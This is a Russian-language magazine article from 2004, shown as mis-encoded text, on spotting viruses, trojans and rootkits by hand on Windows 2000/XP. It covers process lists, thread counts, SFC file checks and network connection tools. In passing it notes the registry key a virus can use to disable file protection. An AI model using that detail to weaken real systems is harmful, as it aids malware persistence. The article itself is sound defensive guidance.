Òùàòåëüíî ñïðîåêòèðîâàííàÿ âèðòóàëüíàÿ ñåòü ïîçâîëÿåò ýêñïåðèìåí-
òèðîâàòü ñ ñåòåâûìè ÷åðâÿìè, íå îïàñàÿñü, ÷òî îíè ïîðàçÿò îñíîâíîé
êîìïüþòåð. Òàêæå èìååòñÿ âîçìîæíîñòü ïðÿìîãî äîñòóïà ê ãèáêèì/ëà-
çåðíûì äèñêàì è ðàçäåëÿåìûå ïàïêè ñ äîñòîéíîé çàùèòîé.

Êîðî÷å ãîâîðÿ, VM are ïðåäñòàâëÿåò ñîáîé ìíîãîöåëåâîé ýìóëÿòîð,
ïðèãîäíûé äëÿ ëþáûõ ýêñïåðèìåíòîâ çà èñêëþ÷åíèåì èãð. Ê ïðèìåðó,
äîáèòüñÿ íîðìàëüíîé ïîääåðæêè çâóêà èç-ïîä MS-DOS íå óäàëîñü, â òî
âðåìÿ êàê ó îñòàëüíûõ ýìóëÿòîðîâ ñ ýòèì íå áûëî íèêàêèõ ïðîáëåì.

VMWARE



Êðèñ Êàñïåðñêè aka ìûùúõ

Ò ðàäèöèîííî äëÿ ïîèñêà êîìïüþòåðíîé çàðàçû èñïîëüçóþòñÿ àíòèâèðóñû, îäíàêî ðåçóëüòàò èõ äåÿòåëüíîñòè íå
âñåãäà îïðàâäûâàåò îæèäàíèÿ, à ìíîãèå èç âèðóñîâ çà÷àñòóþ îñòàþòñÿ íåðàñïîçíàííûìè. Íî â áîëüøèíñòâå

ñëó÷àåâ çàðàçà ìîæåò áûòü îáíàðóæåíà âðó÷íóþ!

ÍÀÉÒÈ 
È ÓÍÈ×ÒÎÆÈÒÜ!
ÐÓÊÎÂÎÄÑÒÂÎ ÏÎ ÁÎÐÜÁÅ Ñ ÂÈÐÓÑÀÌÈ È ÒÐÎßÍÀÌÈ

ïåðàöèîííûå ñèñòåìû
ñåìåéñòâà Windows
ðàçðîñëèñü äî íåâåðî-
ÿòíûõ ðàçìåðîâ, ïðåâ-
ðàòèâøèñü â ìîäåëü

íàñòîÿùåãî ãîñóäàðñòâà â ìèíèàòþ-
ðå. Êîëè÷åñòâî ôàéëîâ, õðàíÿùèõñÿ
ïîä êàïîòîì æåñòêîãî äèñêà, âïîëíå
ñîïîñòàâèìî ñ ÷èñëåííîñòüþ íàñå-
ëåíèÿ êàêîé-íèáóäü åâðîïåéñêîé
ñòðàíû íàïîäîáèå Øâåéöàðèè èëè
Ïîëüøè. Ñóùåñòâóþò ñîòíè òûñÿ÷
ìåñò, ïðèãîäíûõ äëÿ âíåäðåíèÿ âè-
ðóñà, è â ýòèõ óñëîâèÿõ åìó íè÷åãî
íå ñòîèò çàòåðÿòüñÿ.

Íèêòî íå â ñîñòîÿíèè ïðîàíàëèçè-
ðîâàòü âñå èìåþùèåñÿ â åãî ðàñïî-
ðÿæåíèè èñïîëíÿåìûå ôàéëû, äèíà-
ìè÷åñêèå áèáëèîòåêè, OCX-êîìïîíåí-
òû è ò.ä. Ïîýòîìó ãàðàíòèðîâàííî îá-
íàðóæèòü çëîâðåäíûé êîä ìåòîäîì
òûêà íåâîçìîæíî, îñîáåííî íà ðàí-
íèõ ñòàäèÿõ, êîãäà çàðàæåíî íåáîëü-
øîå êîëè÷åñòâî ôàéëîâ. Îäíàêî ñòî-
èò âèðóñó ïîðàçèòü ñèñòåìíûé ôàéë
èëè ñïåöèàëüíî ïîäáðîøåííóþ äðî-
çîôèëó (ðàíî èëè ïîçäíî ýòî ñäåëà-
åò), êàê îí òóò æå âûäàñò ñåáÿ ñ ãîëî-
âîé! Ñ íåðàçìíîæàþùèìèñÿ òðîÿíñ-
êèìè ïðîãðàììàìè äåëà îáñòîÿò íàì-
íîãî ñëîæíåå. Çàñåâøèé â óêðîìíîì
ìåñòå òðîÿí ìîæåò ïðÿòàòüñÿ ãîäàìè,
íè÷åì íå âûäàâàÿ ñâîåãî ïðèñóò-
ñòâèÿ, à çàòåì â îäèí ïðåêðàñíûé ìî-
ìåíò íåîæèäàííî ïðîñíóòüñÿ è ñäå-
ëàòü èç âèí÷åñòåðà âèíåãðåò.

Ýòî íå îçíà÷àåò, ÷òî ðó÷íîé ïîèñê
áåñïîëåçåí. Ïðîñòî íå ñòîèò ïåðåîöå-
íèâàòü åãî âîçìîæíîñòè...

ÅÑËÈ ÂÄÐÓÃ ÎÒÊÐÛËÑß ËÞÊ
Âèðóñû è òðîÿíñêèå ïðîãðàììû

÷àùå âñåãî ïèøóòñÿ íà÷èíàþùèìè
ïðîãðàììèñòàìè, íå èìåþùèìè àäåê-
âàòíîãî îïûòà ïðîåêòèðîâàíèÿ è
ïðàêòè÷åñêè âñåãäà äîïóñêàþùèìè
áîëüøîå êîëè÷åñòâî ôàòàëüíûõ îøè-
áîê. Èç-çà ýòîãî ñàìî÷óâñòâèå çàðà-
æåííîé ñèñòåìû ðåçêî óõóäøàåòñÿ:
ïîÿâëÿþòñÿ ñîîáùåíèÿ î êðèòè÷åñêèõ
îøèáêàõ â ñàìûõ íåîæèäàííûõ ìåñ-
òàõ, ïîëíîñòüþ èëè ÷àñòè÷íî íàðóøà-
åòñÿ ðàáîòîñïîñîáíîñòü íåêîòîðûõ
ïðèëîæåíèé. Âðåìÿ çàãðóçêè îïåðà-

öèîííîé ñèñòåìû çíà÷èòåëüíî âîç-
ðàñòàåò. Íå óäàåòñÿ âûïîëíèòü ïðî-
âåðêó äèñêà è/èëè åãî äåôðàãìåíòà-
öèþ. Ïðîèçâîäèòåëüíîñòü ïàäàåò.

Åñòåñòâåííî, âñå ýòè ïðèçíàêè ìî-
ãóò âûçûâàòüñÿ âîëíå ëåãàëüíûì, íî
íåêîððåêòíî óñòàíîâëåííûì ïðèëî-
æåíèåì èëè àïïàðàòíûìè íåèñïðàâ-
íîñòÿì. Íå ñòîèò â êàæäîì áàãå âè-
äåòü âèðóñ. Âèðóñîôîáèÿ � îïàñíàÿ
âåùü, íàìíîãî áîëåå îïàñíàÿ, ÷åì
âèðóñû, è åùå íèêîãî îíà íå äîâîäè-
ëà äî äîáðà.

ÍÎÂÛÅ ÏÐÎÖÅÑÑÛ
Òðîÿíñêèå ïðîãðàììû, ñäåëàííûå

â âèäå àâòîíîìíîãî èñïîëíÿåìîãî
ôàéëà è íèêàê íå ñêðûâàþùèå ñâîåãî
ïðèñóòñòâèÿ â ñèñòåìå (à áîëüøèí-
ñòâî èç íèõ èìåííî òàê è óñòðîåíî),
ëåãêî îáíàðóæèâàþòñÿ Äèñïåò÷åðîì
Çàäà÷ èëè ëþáîé äðóãîé óòèëèòîé,
îòîáðàæàþùåé ñïèñîê àêòèâíûõ ïðî-
öåññîâ, ê ïðèìåðó, FAR'îì. Ïðè÷åì
FAR äàæå áîëåå ïðåäïî÷òèòåëåí, ïîñ-
êîëüêó ïîÿâëÿåòñÿ âñå áîëüøå òðîÿí-
öåâ, óäàëÿþùèõ ñåáÿ èç Äèñïåò÷åðà
Çàäà÷ (ãðàìîòíûé ñòåëñ áóäåò íåâè-
äåí è â FAR'å - ïðèì. AvaLANche'à).

Çëîâðåäíûé ïðîöåññ âíåøíå íè÷åì
íå îòëè÷àåòñÿ îò âñåõ îñòàëüíûõ ïðî-
öåññîâ, è, ÷òîáû ðàçîáëà÷èòü åãî, òðå-
áóåòñÿ çíàòü ñèñòåìíûå ïðîöåññû
ñâîåé ñèñòåìû. Ñâåæåóñòàíîâëåííàÿ
Windows 2000/XP ñîçäàåò ñëåäóþùèå
ïðîöåññû: internat.exe (ðóñèôèêàòîð),
smss.exe (ñåðâåð ìåíåäæåðà ñåàíñîâ),
csrss.exe (ñåðâåð ïîäñèñòåìû Win32),
winlogon.exe (ïðîãðàììà ðåãèñòðàöèè
â ñèñòåìå è ñåòåâîé DDE-àãåíò), servic-
es.exe (äèñïåò÷åð óïðàâëåíèÿ ñåðâè-
ñàìè), lsass.exe (ñåðâåð çàùèòíîé ïîä-
ñèñòåìû), svchost.exe (êîíòåéíåð äëÿ
ñëóæá è ñåðâèñîâ), spoolsv.exe (äèñ-
ïåò÷åð î÷åðåäè ïå÷àòè), regsvc.exe

(ðåãèñòðàòîð ñåðâèñîâ), mstask.exe
(ïëàíèðîâùèê) è explorer.exe (îáîëî÷-
êà - âåëèêèé è óæàñíûé Ïðîâîäíèê).

Ïðè óñòàíîâêå íîâûõ ïðèëîæåíèé è
äðàéâåðîâ ýòîò ñïèñîê ìîæåò áûòü
çíà÷èòåëüíî ïîïîëíåí. Ê ñîæàëåíèþ,
Äèñïåò÷åð Çàäà÷ íå îòîáðàæàåò ïîë-
íîãî ïóòè ê èñïîëíÿåìîìó ôàéëó ïðî-
öåññà, çàñòàâëÿÿ òåðÿòüñÿ â äîãàäêàõ,
êàêîìó ïðèëîæåíèþ îí ïðèíàäëåæèò.
Ïîïðîáóé ïîèñêàòü ôàéë ïî åãî èìå-
íè íà äèñêå èëè çàïóñòè FAR. Ïîäîã-
íàâ êóðñîð ê ñîîòâåòñòâóþùåìó ïðî-
öåññó â ñïèñêå, íàæìè <F3>, è FAR ñî-
îáùèò ïîëíûé ïóòü ê íåìó. Ôàéëû,
íàõîäÿùèåñÿ â êàòàëîãå ëåãàëüíî óñ-
òàíîâëåííîãî ïðèëîæåíèÿ, ñêîðåå
âñåãî ýòîìó ïðèëîæåíèþ è ïðèíàäëå-
æàò. Ôàéëû, íàõîäÿùèåñÿ â ñèñòåì-
íîì êàòàëîãå Windows, ìîãóò ïðèíàä-
ëåæàòü êîìó óãîäíî, è, ÷òîáû èçáå-
æàòü ïóòàíèöû, âîçüìè çà ïðàâèëî
êàæäûé ðàç ïðè óñòàíîâêå íîâîãî
ïðèëîæåíèÿ îáðàùàòü âíèìàíèå íà
ïðîöåññû, êîòîðûå îíî äîáàâëÿåò.

Ïîÿâëåíèå íîâîãî ïðîöåññà, íå ñâÿ-
çàííîãî íè ñ îäíèì èç óñòàíîâëåííûõ
ïðèëîæåíèé, - âåðíûé ïðèçíàê òðîÿ-
íñêîãî âíåäðåíèÿ. Ñêîðìè ñâÿçàííûé
ñ íèì èñïîëíÿåìûé ôàéë ñâåæåé âåð-
ñèè ëþáèìîãî àíòèâèðóñà.

ÏÎÒÎÊÈ È ÏÀÌßÒÜ
Â ïîñëåäíåå âðåìÿ âèðóñîïèñàòå-

ëè âñå áîëüøå òÿãîòåþò ê ôóíêöèÿì
CreateRemoteThread è
WriteProcessMemory, ïîçâîëÿþùèì
âíåäðÿòüñÿ â àäðåñíûå ïðîñòðàíñòâà
óæå çàïóùåííûõ ïðîöåññîâ. Ýòî çíà-
÷èòåëüíî óñëîæíÿåò âûÿâëåíèå çàðà-
çû, è ïðèõîäèòñÿ ïðèáåãàòü ê äåäîâñ-
êèì ñðåäñòâàì, àêòèâíî èñïîëüçóå-
ìûì åùå âî âðåìåíà MS-DOS. Òîãäà
ñèñòåìíûå îïåðàòîðû ñëåäèëè çà êî-
ëè÷åñòâîì ñâîáîäíîé îïåðàòèâíîé

Î

À
Ò

À
Ê

À
 
Í

À
 
W

I
N

D
O

W
S

ÕÀÊÅÐÑÏÅÖ    11(48) 2004

Ñîîáùåíèå î êðèòè÷åñêîé îøèáêå â Windows 2000

ÍÀÉÒÈ È ÓÍÈ×ÒÎÆÈÒÜ!84 ÇÀÙÈÒÀ



ïàìÿòè, ñêðóïóëåçíî çàïèñûâàÿ ïîêà-
çàíèÿ óòèëèòû mem íà áóìàæêó :). Õî-
òÿ ïðîñòóøêó mem áûëî ëåãêî îáìà-
íóòü, íà ýòî áûëè ñïîñîáíû ëèøü íåì-
íîãèå èç âèðóñîâ.

Ñ òåõ ïîð ìíîãîå èçìåíèëîñü. Îïå-
ðàöèîííûå ñèñòåìû ñòàëè ñëîæíåå,
íî âìåñòå ñ òåì è óìíåå. Êîíòðîëü çà
ñèñòåìíûìè ðåñóðñàìè çíà÷èòåëüíî
óæåñòî÷èëñÿ, è ïðÿìîé îáìàí ñòàë
ïðàêòè÷åñêè íå âîçìîæíûì. Äîæäàâ-
øèñü îêîí÷àíèÿ çàãðóçêè ñèñòåìû,
çàïóñòè Äèñïåò÷åð Çàäà÷ è çàïîìíè

(à ëó÷øå çàïèøè) êîëè÷åñòâî äåñê-
ðèïòîðîâ, ïðîöåññîâ, ïîòîêîâ è îáúåì
âûäåëåííîé ïàìÿòè. Ïðè âíåäðåíèè
âñÿêîé àâòîìàòè÷åñêè çàãðóæàþùåé-
ñÿ ïðîãðàììû ýòè ïîêàçàíèÿ íåèçáåæ-
íî èçìåíÿòñÿ!

Íî èçìåíåíèå êîëè÷åñòâà ïîòîêîâ â
ïðîöåññå ðàáîòû ñ ñèñòåìîé � âïîëíå
íîðìàëüíîå ÿâëåíèå è ñàìî ïî ñåáå
åùå íè î ÷åì íå ãîâîðèò. Ïðîñòîé
ýêñïåðèìåíò. Çàïóñòè "Áëîêíîò". Äèñ-
ïåò÷åð Çàäà÷ ñîîáùàåò, ÷òî â íåì
èìååòñÿ âñåãî ëèøü îäèí ïîòîê, òàê?

À òåïåðü îòêðîé äèàëîã "Ñîõðàíèòü
êàê", è óâèäèøü, êàê êîëè÷åñòâî ïî-
òîêîâ òóò æå ïîïîëçåò ââåðõ. Îäèí èç
íèõ ïðèíàäëåæèò äðàéâåðó çâóêîâîé
êàðòû, îçâó÷èâàþùåìó ñèñòåìíûå ñî-
áûòèÿ, îäèí � íåïîñðåäñòâåííî ñàìî-
ìó äèàëîãó. Îñòàëüíûå (åñëè îíè
åñòü) � ïðî÷èì ñèñòåìíûì ôóíêöèÿì,
âûïîëíÿþùèì ñâîé êîä â êîíòåêñòå
äàííîãî ïðîöåññà.

ÊÎÍÒÐÎËÜ ÖÅËÎÑÒÍÎÑÒÈ
ÔÀÉËÎÂ

Îïåðàöèîííûå ñèñòåìû Windows
2000/XP îñíàùåíû ñïåöèàëüíûìè
ñðåäñòâàìè ïðîâåðêè öåëîñòíîñòè èñ-
ïîëíÿåìûõ ôàéëîâ, àâòîìàòè÷åñêè
âûïîëíÿþùèìèñÿ ïðè âñÿêîì îáðà-
ùåíèè ê íèì è ïðè íåîáõîäèìîñòè
âîññòàíàâëèâàþùèìè èñêàæåííûé
ôàéë. Ïî óìîë÷àíèþ ðåçåðâíûå êî-
ïèè õðàíÿòñÿ â êàòàëîãàõ WINNT\
System32\Dllcache è WINNT\
ServicePackFiles.

Ó âèðóñà åñòü äâà ïóòè: ëèáî îòêëþ-
÷èòü SFC (çà ýòî îòâå÷àåò êëþ÷ ðååñò-
ðà HKEY_LOCAL_MACHINE\SOFT-
WARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\SFCDisabl
e), ëèáî åäèíîâðåìåííî ïîðàçèòü è
ñàì çàðàæàåìûé ôàéë, è âñå åãî ðå-
çåðâíûå êîïèè, òàê ÷òî íàäåæíîñòü
àâòîìàòè÷åñêîé ïðîâåðêè âåñüìà ñîì-
íèòåëüíà è ëó÷øå âñåãî çàïóñêàòü
SFC (sfc.exe) âðó÷íóþ ñ êëþ÷îì
/PURGECACHE. Òîãäà îíà î÷èñòèò
ôàéëîâûé êýø è çàòðåáóåò äèñòðèáü-
þòèâíûé êîìïàêò-äèñê äëÿ åãî ðåêîí-
ñòðóêöèè, ïîñëå ÷åãî âûïîëíèò ñêàíè-
ðîâàíèå ñèñòåìíûõ ôàéëîâ íà ïðåä-
ìåò ïîèñêà íåñîîòâåòñòâèé. Íî åñëè
ïîñëå ïåðâîé èíñòàëëÿöèè â ñèñòåìó
äîáàâëÿëèñü òå èëè èíûå ïàêåòû îá-
íîâëåíèé, óòèëèòà SFC ëèáî âîîáùå
îòêàæåòñÿ ïåðåñòðàèâàòü ôàéëîâûé
êýø, ëèáî âûäàñò áîëüøîå êîëè÷åñò-
âî ëîæíûõ ñðàáàòûâàíèé, ïðèâîäÿ
îáíîâëåííûå ôàéëû â èõ ïåðâîçäàí-
íûé âèä, ÷òî ÿâíî íå âõîäèò â òâîè
ïëàíû. Ïîýòîìó âñåãäà ïðèîáðåòàé
Windows ñ èíòåãðèðîâàííûì Service
Pack'îì ñàìîé ïîñëåäíåé âåðñèè
(èìåííî èíòåãðèðîâàííûì, à íå ïðîñ-
òî çàïèñàííûì â îòäåëüíóþ äèðåêòî-
ðèþ, ÷åì ñëàâèòñÿ áîëüøèíñòâî ïèðà-
òîâ) � òàì ýòèõ ïðîáëåì íåò.

Òàêæå ìîæíî è íóæíî èñïîëüçîâàòü
è áîëåå ïðîäâèíóòûå àíòèâèðóñíûå
ñðåäñòâà, òàêèå, êàê ADInf èëè AVP
Disk Inspector, à åñëè èõ íåò � óòèëèòó
ïîñèìâîëüíîãî ñðàâíåíèÿ ôàéëîâ
FC.EXE, âõîäÿùóþ â øòàòíûé êîìï-

85

À
Ò

À
Ê

À
 
Í

À
 
W

I
N

D
O

W
S

»

Åñëè òðî-
ÿí/âèðóñ íå
óìååò ñêðû-
âàòü ñâîé
ïðîöåññ, òî
îí âèäåí
÷åðåç ñòàí-
äàðòíûé
Äèñïåò÷åð
Çàäà÷.

Áîëüøèí-
ñòâî âèðó-
ñîâ è òðîÿ-
íîâ ìîæíî
îáíàðóæèòü
è íåéòðàëè-
çîâàòü
ñîáñòâåí-
íûìè ñèëà-
ìè. Äîñòà-
òî÷íî çíàòü
èõ ñèìïòî-
ìû.

ß î÷åíü ëþáëþ çàäàâàòü âîï-
ðîñ: ÷òî îáíàðóæèâàþò àíòèâè-
ðóñíûå ñèñòåìû? Îáû÷íûé è íå-
âåðíûé îòâåò: âèðóñû èëè âðåäî-
íîñíîå ïðîãðàììíîå îáåñïå÷å-
íèå. Íà ñàìîì äåëå àíòèâèðóñíàÿ
ñèñòåìà îáíàðóæèâàåò òîëüêî
òîò êîä, êîòîðûé ýêñïåðòû êîìïà-
íèè-ïðîèçâîäèòåëÿ ñ÷èòàþò âðå-
äîíîñíûì. Íåðåäêè ñëó÷àè, êîãäà
áåçîáèäíàÿ ïðîãðàììà ïîëó÷àåò
ñòàòóñ ñòðàøíîãî âèðóñà
(www.security.nnov.ru/articles/
antiantivirus2.asp) èëè, íàîáîðîò,
òðîÿíñêèå ïðîãðàììû íå îáíàðó-
æèâàþòñÿ àíòèâèðóñíûìè ñèñòå-
ìàìè. Ê ïîñëåäíèì îòíîñÿòñÿ íà-
ïèñàííûå ïîä çàêàç èëè ñëàáî
ðàñïðîñòðàíåííûå òðîÿíñêèå
ïðîãðàììû, à òàêæå rootkits. 

Êðîìå òîãî, àíòèâèðóñíûå ñèñòåìû îòíîñÿòñÿ ê äåòåêòèâíûì ñðåä-
ñòâàì çàùèòû. Òî åñòü îíè, â îòëè÷èå îò ïðåâåíòèâíûõ ñðåäñòâ,
ïðåäîòâðàùàþùèõ ïðîáëåìó, ïîçâîëÿþò åå îáíàðóæèòü è ïî âîç-
ìîæíîñòè ñêîððåêòèðîâàòü óæå ïîñëå òîãî, êàê ñëó÷èëîñü ñòðàø-
íîå. Îäíàêî ÷òî äåëàòü, åñëè ñòðàøíîå âñå æå ñëó÷èëîñü, àíòèâè-
ðóñ ìîë÷èò, à ê òåáå â ïî÷òó ñòó÷èòñÿ «ìåãàõàêåð», ïðåäëàãàÿ âåð-
íóòü çà íåñêîëüêî WMZ äîñòóï ê òâîèì ôàéëàì èëè ïî÷òîâîìó ÿùè-
êó :). Òû çàïóñêàåøü TCPView, íî íå âèäèøü íèêàêèõ ïîäîçðèòåëü-
íûõ ñîåäèíåíèé, õîòÿ ñ òâîåé ñèñòåìîé òâîðèòñÿ ÷òî-òî íåëàäíîå.
Ñêîðåå âñåãî, ê òåáå íà ìàøèíó óñòàíîâèëè rootkit. 

Òåðìèí «rootkit» ïðèøåë èç ìèðà *nix, è èçíà÷àëüíî èì îáîçíà÷àë-
ñÿ íàáîð èíñòðóìåíòîâ, íåîáõîäèìûé çëîóìûøëåííèêó ïîñëå òîãî,
êàê îí ïîëó÷èë ïðàâà ñóïåðïîëüçîâàòåëÿ (root) â àòàêóåìîé ñèñòå-
ìå. Áîëüøèíñòâî ñîâðåìåííûõ rootkit'îâ ìîãóò ïðÿòàòü îò ïîëüçî-
âàòåëÿ ôàéëû, ïàïêè è êëþ÷è ðååñòðà, ñêðûâàòü çàïóùåííûå ïðîã-
ðàììû, ñèñòåìíûå ñëóæáû, äðàéâåðà è ñåòåâûå ñîåäèíåíèÿ. Çëîó-
ìûøëåííèê èìååò âîçìîæíîñòü ñîçäàâàòü ôàéëû è êëþ÷è ðååñòðà,
çàïóñêàòü ïðîãðàììû, ðàáîòàòü ñ ñåòüþ, è ýòà àêòèâíîñòü íå áóäåò
îáíàðóæåíà òîáîé è àíòèâèðóñàìè. Îñíîâíîé ðåñóðñ, ïîñâÿùåí-
íûé rootkist, - www.rootkit.com. Åñòü ðÿä óòèëèò, ïîçâîëÿþùèõ íà-
õîäèòü rootkits â ñèñòåìå. Íàïðèìåð, óòèëèòà RKDetect
(www.seclists.org/lists/fulldisclosure/2004/Sep/0246.html), ðàáîòà-
þùàÿ ïî ñåòè, èëè ïðîãðàììà RKDetector (www.3wdesign.es/securi-
ty), ñêàíèðóþùàÿ ñèñòåìó ëîêàëüíî.

Íî, â ëþáîì ñëó÷àå, ëó÷øèé ñïîñîá îáíàðóæåíèÿ òðîÿíîâ � íå çà-
íîñèòü èõ â ñèñòåìó!

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ

offtopic, ïðîôåññèîíàë â îáëàñòè IT-
áåçîïàñíîñòè, ïîñòîÿííûé àâòîð è
ìîäåðàòîð ôîðóìîâ ïðîåêòà
Securitylab.ru, MCSE è MCT



ëåêò ïîñòàâêè ëþáîé âåðñèè Windows.
Òîëüêî íå çàïóñêàé âñå ýòè ïðîãðàì-
ìû íåïîñðåäñòâåííî èç ñàìîé çàïóñ-
êàåìîé ñèñòåìû! Stealth-âèðóñîâ ïîä
Windows ñ êàæäûì äíåì ñòàíîâèòñÿ
âñå áîëüøå, à ìåòîäèêà èõ - ìàñêèðîâ-
êè âñå èçîùðåííåå.

Âîïðåêè ðàñõîæåìó ìíåíèþ
Windows ìîæåò çàãðóæàòüñÿ è ñ CD.
Ïðåæäå âñåãî, íà óì ïðèõîäèò
Windows-PE � ñëåãêà óñå÷åííàÿ âåð-
ñèÿ Windows XP, îôèöèàëüíî ðàñïðî-
ñòðàíÿåìàÿ òîëüêî ñðåäè ïàðòíåðîâ
Microsoft è â öåíòðàõ ñåðâèñíîãî îáñ-
ëóæèâàíèÿ. Â îòêðûòóþ ïðîäàæó îíà
äî ñèõ ïîð íå ïîñòóïàëà, è, åñëè òåáå
ïðåòèò êîðìèòü ïèðàòîâ (ìíîãèå èç
êîòîðûõ ê òîìó æå è õàìû :), âîñïîëü-
çóéñÿ áåñïëàòíûì Bart's PE Builder'îì
(www.danilpremgi.com/nu2/pebuilder3032.zip),
àâòîìàòè÷åñêè ôîðìèðóþùèì çàãðó-

çî÷íûé äèñê íà îñíîâå ëþáîé âåðñèè
îò Windows 2000 SP1 è ñòàðøå.

Êñòàòè ãîâîðÿ, ïðè æåëàíèè ìîæíî è
âîâñå èçúÿòü æåñòêèé äèñê èç êîìïü-
þòåðà, ðàçìåñòèâ ñèñòåìó è âñå íåîá-
õîäèìûå äëÿ ðàáîòû ïðèëîæåíèÿ íà
CD-ROM. Äëÿ çàïèñè âðåìåííûõ ôàé-
ëîâ ñãîäèòñÿ âèðòóàëüíûé äèñê -
âïîëíå óäà÷íîå ðåøåíèå äëÿ èãðîâîé
ïëàòôîðìû. Òåïåðü íè âèðóñû, íè îá-
ðóøåíèÿ îïåðàöèîííîé ñèñòåìû íå
ñòðàøíû! Àíàëîãè÷íûì ïóòåì ìîæíî
ìîäåðíèçèðîâàòü è îôèñíûå êîìïüþ-
òåðû. Îáðàáàòûâàåìûå ôàéëû â ýòîì
ñëó÷àå ïðèäåòñÿ ëèáî öåíòðàëèçîâàí-
íî õðàíèòü íà ñåðâåðå (íàèáîëåå
ïåðñïåêòèâíûé è ýêîíîìè÷íûé ïóòü),

ëèáî çàïèñûâàòü íà äèñêåòó, zip èëè
CD-RW (÷èñòî õàêåðñêèé ïóòü).

ÍÅÍÎÐÌÀËÜÍÀß
ÑÅÒÅÂÀß ÀÊÒÈÂÍÎÑÒÜ

Ðåäêèé òðîÿí ìîæåò óäåðæàòüñÿ
îò ñîáëàçíà ïåðåäàòü íàãðàáëåííîå
äîáðî ïî ñåòè èëè óñòàíîâèòü ñèñòå-
ìó óäàëåííîãî àäìèíèñòðèðîâàíèÿ.
Ïðè ýòîì íà ìàøèíå îòêðûâàþòñÿ
íîâûå ïîðòû èëè ïîÿâëÿþòñÿ ñîåäè-
íåíèÿ, êîòîðûå òû íå óñòàíàâëèâàë.

Äëÿ ïðîñìîòðà ïåðå÷íÿ îòêðûòûõ
ïîðòîâ è óñòàíîâëåííûõ ñîåäèíå-
íèé ìîæíî âîñïîëüçîâàòüñÿ óòèëè-
òîé netstat èç øòàòíîãî êîìïëåêòà
ïîñòàâêè Windows, çàïóñòèâ åå ñ
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Ðåâèçîð ADInf32 çà ðàáîòîé

Óòèëèòà SFC.EXE ïåðåñòðàèâàåò ôàéëîâûé êýø

ÍÀÉÒÈ È ÓÍÈ×ÒÎÆÈÒÜ!86 ÇÀÙÈÒÀ

Ñàìàÿ áîëüøàÿ ïðîáëåìà áåçîïàñíîñòè ñåãîäíÿ - àòàêè íà ïåðå-
ïîëíåíèå áóôåðîâ. Îíè ïîçâîëÿþò óäàëåííî ïîëó÷èòü ïîëíûé
êîíòðîëü íàä àòàêóåìîé ñèñòåìîé. Îò ýòîé àòàêè íå çàñòðàõîâàíà
íè îäíà ïðîãðàììà, èìåþùàÿ êîíòàêòû ñ âíåøíåé àãðåññèâíîé ñå-
òåâîé ñðåäîé (â òîì ÷èñëå è ôàåðâîëû). Äëÿ Linux ñóùåñòâóåò ïðî-
åêò PaX, êîòîðûé çàùèùàåò ñèñòåìû íà îñíîâå Linux îò èñïîëíåíèÿ
íà íèõ ýêñïëîèòîâ. Äëÿ ïëàòôîðìû Windows NT/2000/XP/2003 äî
íåäàâíåãî âðåìåíè ïîäîáíîé çàùèòû íå ñóùåñòâîâàëî. Çàòåì ïîÿ-
âèëèñü çàùèòû, ñ íåäîñòàòî÷íî âûñîêèìè êà÷åñòâîì èñïîëíåíèÿ è
óðîâíåì çàùèòû. Ìíîãèå íåùàäíî ãëþ÷àò, òîðìîçÿò ñèñòåìó è ïðè-
ëîæåíèÿ, èìåþò ñëàáóþ çàùèòó è ëåãêî îáõîäÿòñÿ. Áûâàåò, ÷òî
ïðîãðàììà çàùèùàåò íå âñå ïðèëîæåíèÿ, à òîëüêî òå, êîòîðûå çà-
õîòåë çàùèòèòü åå àâòîð :). 

Íå òàê äàâíî áûëà âûïóùåíà çàùèòà îò ýêñïëîèòîâ äëÿ ïëàòôîð-
ìû Windows NT/2000/XP/2003, êîòîðàÿ íå òîðìîçèò ñèñòåìó, îá-
ëàäàåò ìîùíûì óðîâíåì çàùèòû, ãèáêîé ñèñòåìîé óïðàâëåíèÿ
óðîâíÿìè áåçîïàñíîñòè äëÿ ðàçëè÷íûõ ïðèëîæåíèé è õîðîøåé
ñîâìåñòèìîñòüþ ñ äðóãèìè ïðîãðàììàìè - Anti-Cracker Shield (àâòîð
� Èëüÿ Ðàáèíîâè÷). Âíóòðè íåå ðåàëèçîâàíû óíèêàëüíûå ìåõàíèç-
ìû, ïðîòèâîäåéñòâóþùèå âûïîëíåíèþ êîäà ýêñïëîèòîâ íà àòàêóå-
ìûõ êîìïüþòåðàõ.

Íàäåæíàÿ çàùèòà ñòåêà îò èñïîëíåíèÿ â íåì êîäà, êîòîðàÿ íå ïðè-
âîäèò ê êàòàñòðîôè÷åñêèì ïîòåðÿì â ïðîèçâîäèòåëüíîñòè. Ðàíäî-
ìèçàöèÿ ñòåêà è êó÷è (ñòàðòîâûå àäðåñà äàííûõ - ñëó÷àéíûå âåëè-
÷èíû), ïðåïÿòñòâóþùàÿ äèñêðåäèòàöèè äàííûõ è ïåðåäà÷å óïðàâ-
ëåíèÿ ïî ôèêñèðîâàííûì àäðåñàì, àâòîìàòè÷åñêîå ïåðåáàçèðîâà-
íèå ñèñòåìíûõ áèáëèîòåê ïî ñëó÷àéíûì àäðåñàì ïðè êàæäîé ïåðå-
çàãðóçêå. Óíèêàëüíûé ìåõà-
íèçì, ïîçâîëÿþùèé äåëàòü êó-
÷ó èñïîëíÿåìîé (íåîáõîäèìî
äëÿ ñîâìåñòèìîñòè ñ áîëüøèì
êîëè÷åñòâîì ñîâðåìåííîãî
ÏÎ, èñïîëüçóþùèì êó÷ó äëÿ
èñïîëíåíèÿ ñâîåãî êîäà), íî
íå ïîçâîëÿþùèé èñïîëíÿòü â
íåé ýêñïëîèòû.

Óðîâíåé áåçîïàñíîñòè äëÿ îò-
äåëüíûõ ïðèëîæåíèé ÷åòûðå:
low, medium, high è ultra. Óðî-
âåíü low - ïðàêòè÷åñêè ïîëíîå
îòñóòñòâèå âñÿêîé çàùèòû, ïîñêîëüêó è ñòåê, è êó÷à íèêàê íå çàùè-
ùàþòñÿ. Ýòîò óðîâåíü íóæåí ïðèëîæåíèÿì, êîòîðûå èñïîëíÿþò ñâîé

ANTI-CRACKER SHIELD

»

Óòèëèòà TCPView îòîáðàæàåò âñå óñòàíîâëåííûå
ñîåäèíåíèÿ è ïðîöåññ, èõ óñòàíîâèâøèé



êëþ÷îì �a. Ê ñîæàëåíèþ, îíà íå âû-
äàåò èìåíè ïðîöåññà, óñòàíîâèâøå-
ãî äàííîå ñîåäèíåíèå (à äëÿ ïîèñêà
òðîÿíîâ ýòî àêòóàëüíî), âûíóæäàÿ
èñêàòü áîëåå ñîâåðøåííûé èíñòðó-
